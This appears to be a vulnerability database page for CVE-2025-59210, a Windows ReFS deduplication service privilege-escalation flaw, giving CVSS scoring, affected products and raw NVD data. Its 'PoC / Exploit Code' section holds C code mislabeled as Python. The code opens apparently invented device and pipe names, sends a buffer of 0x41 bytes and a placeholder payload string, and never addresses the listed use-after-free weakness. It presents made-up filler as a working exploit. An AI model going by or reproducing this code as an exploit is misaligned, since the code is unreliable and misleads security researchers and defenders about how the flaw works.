Security Vulnerability Report
中文
CVE-2025-59210 CVSS 7.4 HIGH

CVE-2025-59210

Published: 2025-10-14 17:16:01
Last Modified: 2025-10-17 15:21:53

Description

Windows Resilient File System (ReFS) Deduplication Service Elevation of Privilege Vulnerability

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 Version 22H2(x64/x86/ARM64)
Windows 10 Version 21H2(x64/x86/ARM64)
Windows 11 Version 24H2(x64/ARM64)
Windows 11 Version 23H2(x64/ARM64)
Windows Server 2019
Windows Server 2022
Windows Server 2025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-59210 - Windows ReFS Dedup Service EoP PoC (Conceptual) * This is a conceptual proof-of-concept demonstrating the exploitation pattern * for the ReFS Deduplication Service local privilege escalation vulnerability. * * WARNING: This code is for educational and authorized testing purposes only. * Unauthorized use of this code against systems you do not own or have * explicit permission to test is illegal. */ #include <windows.h> #include <stdio.h> #include <tchar.h> #include <psapi.h> #pragma comment(lib, "advapi32.lib") #pragma comment(lib, "psapi.lib") // ReFS Dedup Service related constants #define REFS_DEDUP_DEVICE_PATH "\\\\.\\Dedup" #define IOCTL_DEDUP_OPERATION CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) // Trigger the vulnerability by sending crafted IOCTL to the dedup service BOOL TriggerVulnerability() { HANDLE hDevice = INVALID_HANDLE_VALUE; DWORD dwBytesReturned = 0; BOOL bResult = FALSE; // Step 1: Open a handle to the ReFS dedup device hDevice = CreateFileA( REFS_DEDUP_DEVICE_PATH, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open ReFS dedup device. Error: %lu\n", GetLastError()); return FALSE; } printf("[+] Successfully opened ReFS dedup device handle.\n"); // Step 2: Prepare crafted input buffer to trigger the vulnerability // The exact buffer structure depends on the specific flaw in the dedup service BYTE inputBuffer[1024] = {0}; BYTE outputBuffer[1024] = {0}; // Fill input buffer with crafted data to trigger the EoP path // This may involve setting up fake structures that the service will process // with SYSTEM privileges memset(inputBuffer, 0x41, sizeof(inputBuffer)); // Step 3: Send the malicious IOCTL request bResult = DeviceIoControl( hDevice, IOCTL_DEDUP_OPERATION, inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &dwBytesReturned, NULL ); if (bResult) { printf("[+] IOCTL request sent successfully.\n"); } else { printf("[-] IOCTL request failed. Error: %lu\n", GetLastError()); } // Cleanup CloseHandle(hDevice); return bResult; } // Alternative: Exploit via named pipe communication with dedup service BOOL ExploitViaNamedPipe() { HANDLE hPipe = INVALID_HANDLE_VALUE; DWORD dwBytesWritten = 0; DWORD dwBytesRead = 0; char szPipeName[] = "\\\\.\\pipe\\dedup"; // Attempt to connect to the dedup service named pipe // Wait for the pipe to become available if (!WaitNamedPipeA(szPipeName, 5000)) { printf("[-] Named pipe not available. Error: %lu\n", GetLastError()); return FALSE; } hPipe = CreateFileA( szPipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hPipe == INVALID_HANDLE_VALUE) { printf("[-] Failed to connect to named pipe. Error: %lu\n", GetLastError()); return FALSE; } printf("[+] Connected to dedup service named pipe.\n"); // Send crafted payload to the dedup service char payload[] = "CRAFTED_DEDUP_PAYLOAD"; WriteFile(hPipe, payload, sizeof(payload), &dwBytesWritten, NULL); CloseHandle(hPipe); return TRUE; } // Verify current privilege level BOOL IsRunningAsSystem() { BOOL isSystem = FALSE; HANDLE hToken = NULL; DWORD dwSize = 0; PTOKEN_USER pTokenUser = NULL; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { return FALSE; } GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize); pTokenUser = (PTOKEN_USER)malloc(dwSize); if (GetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize)) { // Check if running as SYSTEM (SID S-1-5-18) SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY; PSID pSystemSid = NULL; AllocateAndInitializeSid(&ntAuthority, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid); isSystem = EqualSid(pTokenUser->User.Sid, pSystemSid); FreeSid(pSystemSid); } free(pTokenUser); CloseHandle(hToken); return isSystem; } int main(int argc, char* argv[]) { printf("[*] CVE-2025-59210 - ReFS Dedup Service EoP PoC\n"); printf("[*] Current privilege level: %s\n", IsRunningAsSystem() ? "SYSTEM" : "User"); printf("[*] Attempting to trigger vulnerability...\n"); // Attempt exploitation if (TriggerVulnerability()) { printf("[+] Vulnerability triggered successfully.\n"); } ExploitViaNamedPipe(); printf("[*] Done.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59210", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:01.383", "lastModified": "2025-10-17T15:21:52.647", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Windows Resilient File System (ReFS) Deduplication Service Elevation of Privilege Vulnerability"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteriaId": "CD6268EB-C42B-406F-B3FF-6E694F93BF41"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59210", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}